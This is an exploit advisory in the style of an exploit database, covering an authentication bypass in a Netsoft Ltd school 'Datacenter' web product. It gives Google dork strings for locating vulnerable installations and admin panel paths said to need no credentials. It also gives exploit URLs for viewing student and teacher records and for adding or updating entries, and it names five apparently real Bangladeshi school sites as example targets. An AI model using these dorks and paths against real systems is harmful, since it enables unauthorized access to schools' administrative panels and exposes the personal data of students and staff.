################################################################################################# # Exploit Title : WordPress Developed by Netsoft Limited Software Development BD Improper Authentication Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 05/09/2018 # Vendor Homepages : netsoft.com.bd ~ netsoft.net ~ netsoft-ltd.net ~ linkedin.com/company/net-soft-ltd # Tested On : Windows # Category : WebApps # Exploit Risk : Medium # CWE : CWE-284 [Improper Access Control ] - CWE-287 - [ Improper Authentication ] ################################################################################################# # WordPress Datacenter Developed by Netsoft Limited Software Development Bangladesh Improper Authentication Vulnerability # Google Dorks : intext:''Datacenter :: A Product of Netsoft Ltd'' intext:''Copyright © Netsoft Ltd., all rights reserved'' intext:''Developed by : Netsoft Limited.'' # Admin Control Panel Path URL Links => /nsAdmin/index.php /nsAdmin/index.php?url=./login.php /wp-login.php It does not require any username and password. Enter this links after the Target URL. # Exploits : /nsAdmin/index.php?url=view_student.php&division=0&dis3=0 /nsAdmin/index.php?url=teacher_details.php&division=0&dis3=0 /nsAdmin/index.php?url=class_details.php&division=0&dis3=0 /nsAdmin/index.php?url=update_teacher.php&teacher_id=4495 /nsAdmin/index.php?url=teacher_entry.php /nsAdmin/index.php?url=class_entry.php ################################################################################################# # Example Site => hmahdm.edu.bd/nsAdmin/index.php?url=teacher_details.php&division=0&dis3=0 => [ Proof of Concept ] => archive.is/BBwsZ mukm.edu.bd/nsAdmin/index.php?url=teacher_details.php&teacher_id=3 jpphs.edu.bd/nsAdmin/index.php?url=class_details.php&division=0&dis3=0 iahs1988.edu.bd/nsAdmin/index.php?url=teacher_details.php&division=0&dis3=0 mghs1992.edu.bd/nsAdmin/index.php?url=teacher_details.php&division=0&dis3=0 ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################